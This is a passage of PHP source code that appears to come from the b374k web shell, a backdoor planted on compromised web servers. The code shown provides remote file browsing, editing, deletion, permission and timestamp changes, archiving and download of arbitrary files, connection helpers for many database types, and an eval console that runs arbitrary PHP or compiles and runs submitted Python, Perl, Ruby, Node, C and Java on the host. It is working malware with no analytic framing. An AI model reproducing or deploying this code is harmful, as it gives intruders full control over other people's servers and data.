<a href=\'".$s_self."edit=".$s_cwd.$s_l."\'>edit</a> | <a href=\'".$s_self."hexedit=".$s_cwd.$s_l."\'>hex</a> | <a href=\"javascript:tukar(\'".cs($s_l)."_\',\'\',\'rename\',\'".$s_l."\',\'".$s_l."\');\">ren</a> | <a href=\'".$s_self."del=".$s_cwd.$s_l."\'>del</a> | <a href=\'".$s_self."dl=".$s_cwd.$s_l."\'>dl</a>
</span>
<div id=\'".cs($s_l)."__form\'></div>"; $s_total_file++; } $s_cboxval = $s_cwd.$s_l; if($s_l==\'.\') $s_cboxval = $s_cwd; if($s_l==\'..\') $s_cboxval = $s_parent; $s_cboxes_id = substr(md5($s_lhref),0,8); $s_cboxes = "<input id=\'".$s_cboxes_id."\' name=\'cbox\' value=\'".$s_cboxval."\' type=\'checkbox\' class=\'css-checkbox\' onchange=\'hilite(this);\' />
<label for=\'".$s_cboxes_id."\' class=\'css-label\'></label>"; $s_ldl = str_replace("__dlpath__",$s_l,$s_arc); $s_ltime = filemtime($s_l); $s_buff .= "
<tr>
<td style=\'text-align:center;text-indent:4px;\'>".$s_cboxes."</td>
<td class=\'explorelist\' title=\'".$s_lnametit."\' ondblclick=\"return go(\'".adds($s_lhref)."\',event);\">
<a href=\'".$s_lhref."\'>".$s_lname."</a>
</td>
<td title=\'".$s_lsizetit."\'>".$s_lsize."</td>
".$s_owner_html."
<td style=\'text-align:center;\'>".gp($s_l)."</td>
<td style=\'text-align:center;\' title=\'".$s_ltime."\'>".@date("d-M-Y H:i:s",$s_ltime)."</td>
<td>".$s_laction."</td>
</tr>"; } $s_buff .= "</tbody>"; $s_extract = ""; $s_compress = ""; if(class_exists("ZipArchive")){ $s_extract .= "<option value=\'extractzip\'>extract (zip)</option>"; $s_compress .= "<option value=\'compresszip\'>compress (zip)</option>"; } if($s_tar){ $s_extract .= "<option value=\'extracttar\'>extract (tar)</option><option value=\'extracttargz\'>extract (tar.gz)</option>"; $s_compress .="<option value=\'compresstar\'>compress (tar)</option><option value=\'compresstargz\'>compress (tar.gz)</option>"; } $s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value=\'\' disabled>-</option>".$s_compress:$s_extract.$s_compress; $s_buff .= "<tfoot><tr class=\'cbox_selected\'>
<td class=\'cbox_all\'><input id=\'checkalll\' type=\'checkbox\' name=\'abox\' class=\'css-checkbox\' onclick=\'checkall();\' /> <label for=\'checkalll\' class=\'css-label\'></label></td>
<td>
<form action=\'".$s_self."\' method=\'post\'>
<select id=\'massact\' class=\'inputzbut\' onchange=\'massactgo();\' style=\'width:100%;height:20px;margin:0;\'>
<option value=\'\' disabled selected>Action</option>
<option value=\'cut\'>cut</option>
<option value=\'copy\'>copy</option>
<option value=\'paste\'>paste</option>
<option value=\'delete\'>delete</option>
<option value=\'\' disabled>-</option>
<option value=\'chmod\'>chmod</option>
<option value=\'touch\'>touch</option>
<option value=\'\' disabled>-</option>
".$s_extcom."
</select>
<noscript><input type=\'button\' value=\'Go !\' class=\'inputzbut\' onclick=\'massactgo();\' /></noscript></form>
</td><td colspan=\'".$s_colspan."\' style=\'text-align:left;\'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id=\'total_selected\'></span></td>
</tr></tfoot>
</table>"; return $s_buff; } function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){ if($s_sqltype == \'mysql\'){ if(function_exists(\'mysql_connect\')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_connect\')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass); elseif(function_exists(\'sqlsrv_connect\')){ $s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass); return @sqlsrv_connect($s_sqlhost,$s_coninfo); } } elseif($s_sqltype == \'pgsql\'){ $s_hosts = explode(":", $s_sqlhost); if(count($s_hosts)==2){ $s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1]; } else $s_host_str = "host=".$s_sqlhost; if(function_exists(\'pg_connect\')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass"); } elseif($s_sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); } elseif($s_sqltype == \'sqlite3\'){ if(class_exists(\'SQLite3\')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost); else return false; } elseif($s_sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($s_sqlhost); } elseif($s_sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); } elseif($s_sqltype == \'pdo\'){ if(class_exists(\'PDO\')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass); else return false; } return false; } function sql_query($s_sqltype, $s_query, $s_con){ if($s_sqltype == \'mysql\') return mysql_query($s_query); elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_query\')) return mssql_query($s_query); elseif(function_exists(\'sqlsrv_query\')) return sqlsrv_query($s_con,$s_query); } elseif($s_sqltype == \'pgsql\') return pg_query($s_query); elseif($s_sqltype == \'oracle\') return oci_execute(oci_parse($s_con, $s_query)); elseif($s_sqltype == \'sqlite3\') return $s_con->query($s_query); elseif($s_sqltype == \'sqlite\') return sqlite_query($s_con, $s_query); elseif($s_sqltype == \'odbc\') return odbc_exec($s_con, $s_query); elseif($s_sqltype == \'pdo\') return $s_con->query($s_query); } function sql_num_fields($s_sqltype, $s_hasil){ if($s_sqltype == \'mysql\') return mysql_num_fields($s_hasil); elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_num_fields\')) return mssql_num_fields($s_hasil); elseif(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($s_hasil); } elseif($s_sqltype == \'pgsql\') return pg_num_fields($s_hasil); elseif($s_sqltype == \'oracle\') return oci_num_fields($s_hasil); elseif($s_sqltype == \'sqlite3\') return $s_hasil->numColumns(); elseif($s_sqltype == \'sqlite\') return sqlite_num_fields($s_hasil); elseif($s_sqltype == \'odbc\') return odbc_num_fields($s_hasil); elseif($s_sqltype == \'pdo\') return $s_hasil->columnCount(); } function sql_field_name($s_sqltype,$s_hasil,$s_i){ if($s_sqltype == \'mysql\') return mysql_field_name($s_hasil,$s_i); elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_field_name\')) return mssql_field_name($s_hasil,$s_i); elseif(function_exists(\'sqlsrv_field_metadata\')){ $s_metadata = sqlsrv_field_metadata($s_hasil); if(is_array($s_metadata)){ $s_metadata=$s_metadata[$s_i]; } if(is_array($s_metadata)) return $s_metadata[\'Name\']; } } elseif($s_sqltype == \'pgsql\') return pg_field_name($s_hasil,$s_i); elseif($s_sqltype == \'oracle\') return oci_field_name($s_hasil,$s_i+1); elseif($s_sqltype == \'sqlite3\') return $s_hasil->columnName($s_i); elseif($s_sqltype == \'sqlite\') return sqlite_field_name($s_hasil,$s_i); elseif($s_sqltype == \'odbc\') return odbc_field_name($s_hasil,$s_i+1); elseif($s_sqltype == \'pdo\'){ $s_res = $s_hasil->getColumnMeta($s_i); return $s_res[\'name\']; } } function sql_fetch_data($s_sqltype,$s_hasil){ if($s_sqltype == \'mysql\') return mysql_fetch_row($s_hasil); elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($s_hasil); elseif(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($s_hasil,1); } elseif($s_sqltype == \'pgsql\') return pg_fetch_row($s_hasil); elseif($s_sqltype == \'oracle\') return oci_fetch_row($s_hasil); elseif($s_sqltype == \'sqlite3\') return $s_hasil->fetchArray(1); elseif($s_sqltype == \'sqlite\') return sqlite_fetch_array($s_hasil,1); elseif($s_sqltype == \'odbc\') return odbc_fetch_array($s_hasil); elseif($s_sqltype == \'pdo\') return $s_hasil->fetch(2); } function sql_num_rows($s_sqltype,$s_hasil){ if($s_sqltype == \'mysql\') return mysql_num_rows($s_hasil); elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_num_rows\')) return mssql_num_rows($s_hasil); elseif(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($s_hasil); } elseif($s_sqltype == \'pgsql\') return pg_num_rows($s_hasil); elseif($s_sqltype == \'oracle\') return oci_num_rows($s_hasil); elseif($s_sqltype == \'sqlite3\'){ $s_metadata = $s_hasil->fetchArray(); if(is_array($s_metadata)) return $s_metadata[\'count\']; } elseif($s_sqltype == \'sqlite\') return sqlite_num_rows($s_hasil); elseif($s_sqltype == \'odbc\') return odbc_num_rows($s_hasil); elseif($s_sqltype == \'pdo\') return $s_hasil->rowCount(); } function sql_close($s_sqltype,$s_con){ if($s_sqltype == \'mysql\') return mysql_close($s_con); elseif($s_sqltype == \'mssql\'){ if(function_exists(\'mssql_close\')) return mssql_close($s_con); elseif(function_exists(\'sqlsrv_close\')) return sqlsrv_close($s_con); } elseif($s_sqltype == \'pgsql\') return pg_close($s_con); elseif($s_sqltype == \'oracle\') return oci_close($s_con); elseif($s_sqltype == \'sqlite3\') return $s_con->close(); elseif($s_sqltype == \'sqlite\') return sqlite_close($s_con); elseif($s_sqltype == \'odbc\') return odbc_close($s_con); elseif($s_sqltype == \'pdo\') return $s_con = null; } if(!function_exists(\'str_split\')){ function str_split($s_t,$s_s=1){ $s_a = array(); for($s_i = 0; $s_i<strlen($s_t);){ $s_a[] = substr($s_t,$s_i,$s_s); $s_i += $s_s; } return $s_a; } } $s_theme = "dark"; if(isset($_COOKIE[\'theme\'])) $s_theme = $_COOKIE[\'theme\']; if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'switch\')){ if(isset($_COOKIE[\'theme\'])) $s_theme = $_COOKIE[\'theme\']; if($s_theme=="bright") $s_theme = "dark"; else $s_theme = "bright"; setcookie("theme", $s_theme ,time() + $s_login_time); } $s_dark = array("#000000", "#FFFFFF", "#222222", "#4C9CAF", "#111111", "#AAAAAA", "#292929", "#363636", "#191919", "#444444", "#CCCCCC", "#999999", "#202020"); $s_bright = array("#FFFFFF", "#000000", "#DDDDDD", "#B36350", "#EEEEEE", "#555555", "#D6D6D6", "#C9C9C9", "#E6E6E6", "#BBBBBB", "#333333", "#666666", "#DFDFDF"); $s_highlight_dark = array("4C9CAF", "888888", "87DF45", "EEEEEE" , "FF8000"); $s_highlight_bright = array("B36350", "777777", "7820BA", "111111" , "007FFF"); $s_color = ($s_theme=="bright")? $s_bright:$s_dark; $s_checkbox = ($s_theme=="bright")? $s_bright_cb:$s_dark_cb; global $s_self, $s_win, $s_posix; $s_self = "?"; $s_cek1 = basename($_SERVER[\'SCRIPT_FILENAME\']); $s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1)); if(isset($_COOKIE[\'b374k_included\'])){ if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE[\'s_self\']; else{ $s_self = "?"; setcookie("b374k_included", "0" ,time() - $s_login_time); setcookie("s_self", $s_self ,time() + $s_login_time); } } else{ if(strcmp($s_cek1,$s_cek2)!=0){ if(!isset($_COOKIE[\'s_home\'])){ $s_home = "?".$_SERVER["QUERY_STRING"]."&"; setcookie("s_home", $s_home ,time() + $s_login_time); } if(isset($s_home)) $s_self = $s_home; elseif(isset($_COOKIE[\'s_home\'])) $s_self = $_COOKIE[\'s_home\']; setcookie("b374k_included", "1" ,time() + $s_login_time); setcookie("s_self", $s_self ,time() + $s_login_time); } else{ $s_self = "?"; setcookie("b374k_included", "0" ,time() - $s_login_time); setcookie("s_self", $s_self ,time() + $s_login_time); } } if($s_auth){ $s_software = getenv("SERVER_SOFTWARE"); $s_system = php_uname(); $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false; $s_posix = (function_exists("posix_getpwuid"))? true : false; if(isset($_GP[\'cd\'])){ $s_dd = $_GP[\'cd\']; if(@is_dir($s_dd)){ $s_cwd = cp($s_dd); chdir($s_cwd); setcookie("cwd", $s_cwd ,time() + $s_login_time); } } else{ if(isset($_COOKIE[\'cwd\'])){ $s_dd = ss($_COOKIE[\'cwd\']); if(@is_dir($s_dd)){ $s_cwd = cp($s_dd); chdir($s_cwd); } } else $s_cwd = cp(getcwd()); } if(!$s_win && $s_posix){ $s_userarr = posix_getpwuid(posix_geteuid()); if(isset($s_userarr[\'name\'])) $s_user = $s_userarr[\'name\']; else $s_user = "$"; } else { $s_user = get_current_user(); } $s_prompt = $s_user." >"; $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); $s_my_ip = $_SERVER[\'REMOTE_ADDR\']; $s_result = ""; global $s_python, $s_perl, $s_ruby, $s_node, $s_gcc, $s_java, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl"); foreach($s_access as $s){ if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; } else{ if(!isset($_COOKIE[\'b374k\'])){ $t = explode("_", $s); $t = check_access($t[1]); if($t!==false){ $$s = $t; setcookie($s, $$s ,time() + $s_login_time); } } } } if(!empty($_GP[\'dltype\']) && !empty($_GP[\'dlpath\'])){ ob_end_clean(); $s_dltype = $_GP[\'dltype\']; $s_dlpath = $_GP[\'dlpath\']; $s_dlname = basename($s_dlpath); if($s_dlpath==".") $s_dlname = basename($s_cwd); elseif($s_dlpath==".."){ chdir(".."); $s_dlname=basename(getcwd()); chdir($s_cwd); } $s_tmpdir = get_writabledir(); $s_dlarchive = $s_tmpdir.$s_dlname; $s_dlthis = ""; if($s_dltype=="ziparchive"){ $s_dlarchive .= ".zip"; if(zip($s_dlpath,$s_dlarchive)) $s_dlthis = $s_dlarchive; } elseif($s_dltype=="tar"){ $s_dlarchive .= ".tar"; $s_dlarchive = str_replace(\'\\', \'/\', $s_dlarchive); exe("tar cf ".$s_dlarchive." ".$s_dlpath); $s_dlthis = $s_dlarchive; } elseif($s_dltype=="targz"){ $s_dlarchive .= ".tar.gz"; $s_dlarchive = str_replace(\'\\', \'/\', $s_dlarchive); exe("tar czf ".$s_dlarchive." ".$s_dlpath); $s_dlthis = $s_dlarchive; } elseif($s_dltype=="raw"){ if(@is_file($s_dlpath)) $s_dlthis = $s_dlpath; } if(@is_file($s_dlthis)){ header("Content-Type: application/octet-stream"); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".@filesize($s_dlthis)); header("Content-disposition: attachment; filename=\"".basename($s_dlthis)."\";"); $s_file = @fopen($s_dlthis,"rb"); while(!feof($s_file)){ print(@fread($s_file, 1024*8)); ob_flush(); flush(); } fclose($s_file); if($s_dltype!="raw"){ rename($s_dlthis,$s_dlthis."del"); unlink($s_dlthis."del"); } die(); } } if(isset($_GP[\'dl\']) && ($_GP[\'dl\'] != "")){ ob_end_clean(); $f = $_GP[\'dl\']; $fc = file_get_contents($f); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($fc)); header("Content-disposition: attachment; filename=\"".basename($f)."\";"); echo $fc; die(); } if(isset($_GP[\'z\'])){ $s_massact = isset($_COOKIE[\'massact\'])? $_COOKIE[\'massact\']:""; $s_buffer = isset($_COOKIE[\'buffer\'])? rtrim(ss($_COOKIE[\'buffer\']),"|"):""; $s_lists = explode("|", $s_buffer); $s_counter = 0; if(!empty($s_buffer)){ if($_GP[\'z\']==\'moveok\'){ foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items moved"); else $s_result .= notif("No items moved"); } elseif($_GP[\'z\']==\'copyok\'){ foreach($s_lists as $s_l){ if(@is_dir($s_l)){ copys($s_l,$s_cwd.basename($s_l)); if(file_exists($s_cwd.basename($s_l))) $s_counter++; } elseif(@is_file($s_l)){ copy($s_l,$s_cwd.basename($s_l)); if(file_exists($s_cwd.basename($s_l))) $s_counter++; } } if($s_counter>0) $s_result .= notif($s_counter." items copied"); else $s_result .= notif("No items copied"); } elseif($_GP[\'z\']==\'delok\'){ foreach($s_lists as $s_l){ if(@is_file($s_l)){ if(unlink($s_l)) $s_counter++; } elseif(@is_dir($s_l)){ rmdirs($s_l); if(!file_exists($s_l)) $s_counter++; } } if($s_counter>0) $s_result .= notif($s_counter." items deleted"); else $s_result .= notif("No items deleted"); } elseif(isset($_GP[\'chmodok\'])){ $s_mod = octdec($_GP[\'chmodok\']); foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod)); else $s_result .= notif("No items modified"); } elseif(isset($_GP[\'touchok\'])){ $s_datenew = strtotime($_GP[\'touchok\']); foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++; if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew)); else $s_result .= notif("No items modified"); } elseif(isset($_GP[\'compresszipok\'])){ $s_file = $_GP[\'compresszipok\']; if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".$s_file); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP[\'compresstarok\'])){ $s_lists_ = array(); $s_file = $_GP[\'compresstarok\']; $s_file = basename($s_file); $s_lists__ = array_map("basename", $s_lists); $s_lists_ = array_map("pf", $s_lists__); exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_)); if(@is_file($s_file)) $s_result .= notif("Archive created : ".$s_file); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP[\'compresstargzok\'])){ $s_lists_ = array(); $s_file = $_GP[\'compresstargzok\']; $s_file = basename($s_file); $s_lists__ = array_map("basename", $s_lists); $s_lists_ = array_map("pf", $s_lists__); exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_)); if(@is_file($s_file)) $s_result .= notif("Archive created : ".$s_file); else $s_result .= notif("Error creating archive file"); } elseif(isset($_GP[\'extractzipok\'])){ $s_file = $_GP[\'extractzipok\']; $zip = new ZipArchive(); foreach($s_lists as $f){ $s_target = $s_file.basename($f,".zip"); if($zip->open($f)){ if(!@is_dir($s_target)) @mkdir($s_target); if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".$s_target); else $s_result .= notif("Error extrating archive file"); $zip->close(); } else $s_result .= notif("Error opening archive file"); } } elseif(isset($_GP[\'extracttarok\'])){ $s_file = $_GP[\'extracttarok\']; foreach($s_lists as $f){ $s_target = ""; $s_target = basename($f,".tar"); if(!@is_dir($s_target)) @mkdir($s_target); exe("tar xf \"".basename($f)."\" -C \"".$s_target."\""); } } elseif(isset($_GP[\'extracttargzok\'])){ $s_file = $_GP[\'extracttargzok\']; foreach($s_lists as $f){ $s_target = ""; if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz"); elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz"); if(!@is_dir($s_target)) @mkdir($s_target); exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\""); } } } setcookie("buffer", "" ,time() - $s_login_time); setcookie("massact", "" ,time() - $s_login_time); } if(isset($_GP[\'y\'])){ $s_massact = isset($_COOKIE[\'massact\'])? $_COOKIE[\'massact\']:""; $s_buffer = isset($_COOKIE[\'buffer\'])? rtrim(ss($_COOKIE[\'buffer\']),"|"):""; $s_lists = explode("|", $s_buffer); if(!empty($s_buffer)){ if($_GP[\'y\']==\'delete\'){ $s_result .= notif("Delete ? <a href=\'".$s_self."z=delok\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'paste\' && $s_massact==\'cut\'){ $s_result .= notif("Move here ? <a href=\'".$s_self."z=moveok\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'paste\' && $s_massact==\'copy\'){ $s_result .= notif("Copy here ? <a href=\'".$s_self."z=copyok\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'chmod\'){ $s_result .= notif("Permissions ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'0755\' name=\'chmodok\' style=\'width:30px;text-align:center;\' maxlength=\'4\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'touch\'){ $s_result .= notif("Touch ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".@date("d-M-Y H:i:s",time())."\' name=\'touchok\' style=\'width:130px;text-align:center;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'extractzip\'){ $s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".$s_cwd."\' name=\'extractzipok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'extracttar\'){ $s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".$s_cwd."\' name=\'extracttarok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'extracttargz\'){ $s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".$s_cwd."\' name=\'extracttargzok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'compresszip\'){ $s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".$s_cwd.substr(md5(time()),0,8).".zip\' name=\'compresszipok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'compresstar\'){ $s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".$s_cwd.substr(md5(time()),0,8).".tar\' name=\'compresstarok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } elseif($_GP[\'y\']==\'compresstargz\'){ $s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".$s_cwd.substr(md5(time()),0,8).".tar.gz\' name=\'compresstargzok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>"); foreach($s_lists as $s_l) $s_result .= notif($s_l); } } } if(isset($_GP[\'img\'])){ ob_end_clean(); $s_d = isset($_GP[\'d\'])? $_GP[\'d\']:""; $s_f = $_GP[\'img\']; $s_inf = @getimagesize($s_d.$s_f); $s_ext = explode($s_f, "."); $s_ext = $s_ext[count($s_ext)-1]; header("Content-type: ".$s_inf["mime"]); header("Cache-control: public"); header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); readfile($s_d.$s_f); die(); } elseif(isset($_GP[\'oldname\']) && isset($_GP[\'rename\'])){ $s_old = $_GP[\'oldname\']; $s_new = $_GP[\'rename\']; $s_renmsg = ""; if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new; elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new; else $s_renmsg = "Cannot find the path specified ".$s_old; $s_result .= notif($s_renmsg); $s_fnew = $s_new; } elseif(!empty($_GP[\'del\'])){ $s_del = trim($_GP[\'del\']); $s_result .= notif("Delete ".basename($s_del)." ? <a href=\'".$s_self."delete=".$s_del."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>"); } elseif(!empty($_GP[\'delete\'])){ $s_f = $_GP[\'delete\']; $s_delmsg = ""; if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f; elseif(@is_dir($s_f)){ rmdirs($s_f); $s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f; } else $s_delmsg = "Cannot find the path specified ".$s_f; $s_result .= notif($s_delmsg); } elseif(!empty($_GP[\'mkdir\'])){ $s_f = $s_cwd.$_GP[\'mkdir\']; $s_dirmsg = ""; $s_num = 1; if(@is_dir($s_f)){ $s_pos = strrpos($s_f,"_"); if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1); while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){ $s_num++; } $s_f = substr($s_f, 0, $s_pos)."_".$s_num; } if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f; else $s_dirmsg = "Unable to create directory ".$s_f; $s_result .= notif($s_dirmsg); } if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'eval\')){ $s_code = ""; $s_res = ""; $s_evaloption = ""; $s_lang = "php"; if(isset($_GP[\'evalcode\'])){ $s_code = $_GP[\'evalcode\']; $s_evaloption = (isset($_GP[\'evaloption\']))? $_GP[\'evaloption\']:""; $s_tmpdir = get_writabledir(); if(isset($_GP[\'lang\'])){$s_lang = $_GP[\'lang\'];} if(strtolower($s_lang)==\'php\'){ ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); } elseif(strtolower($s_lang)==\'python\'||strtolower($s_lang)==\'perl\'||strtolower($s_lang)==\'ruby\'||strtolower($s_lang)==\'node\'){ $s_rand = md5(time().rand(0,100)); $s_script = $s_tmpdir.$s_rand; if(file_put_contents($s_script, $s_code)!==false){ $s_res = exe($s_lang." ".$s_evaloption." ".$s_script); unlink($s_script); } } elseif(strtolower($s_lang)==\'gcc\'){ $s_script = md5(time().rand(0,100)); chdir($s_tmpdir); if(file_put_contents($s_script.".c", $s_code)!==false){ $s_scriptout = $s_win ? $s_script.".exe" : $s_script; $s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption); if(@is_file($s_scriptout)){ $s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout); rename($s_scriptout, $s_scriptout."del"); unlink($s_scriptout."del"); } unlink($s_script.".c"); } chdir($s_cwd); } elseif(strtolower($s_lang)==\'java\'){ if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){ $s_classname = trim($s_r[1]); $s_script = $s_classname; } else{ $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8); $s_script = $s_rand; $s_code = "class ".$s_rand." { ".$s_code . " } "; } chdir($s_tmpdir); if(file_put_contents($s_script.".java", $s_code)!==false){ $s_res = exe("javac ".$s_script.".java"); if(@is_file($s_script.".class")){ $s_res .= exe("java ".$s_evaloption." ".$s_script); unlink($s_script.".class"); } unlink($s_script.".java"); } chdir($s_pwd); } } $s_lang_available = "<option value=\'php\'>php</option>"; $s_selected = ""; $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_gcc", "s_java"); foreach($s_access as $s){ if(isset($$s)){ $s_t = explode("_", $s); $s_checked = ($s_lang == $s_t[1])? "selected" : ""; $s_lang_available .= "<option value=\'".$s_t[1]."\' ".$s_checked.">".$s_t[1]."</option>"; } } $s_evaloptionclass = ($s_lang=="php")? "sembunyi":""; $s_e_result = (!empty($s_res))? "<pre id=\'evalres\' class=\'border-top\' style=\'margin:4px 0 0 0;padding:6px 0;\' >".hss($s_res)."</pre>":""; $s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<textarea id=\'evalcode\' name=\'evalcode\' style=\'height:150px;\' class=\'txtarea\'>".hss($s_code)."</textarea>
<table><tr><td style=\'padding:0;\'><p><input type=\'submit\' name=\'evalcodesubmit\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;\' /></p>
</td><td><select name=\'lang\' onchange=\'evalselect(this);\' class=\'inputzbut\' style=\'width:120px;height:30px;padding:4px;\'>
".$s_lang_available."
</select>
</td>
<td><div title=\'If you want to give additional option to interpreter or compiler, give it here\' id=\'additionaloption\' class=\'".$s_evaloptionclass."\'>Additional option <input class=\'inputz\' style=\'width:400px;\' type=\'text\' name=\'evaloption\' value=\'".$s_evaloption."\' id=\'evaloption\' /></div></td>
</tr>
</table>
".$s_e_result."
<input type=\'hidden\' name=\'x\' value=\'eval\' />
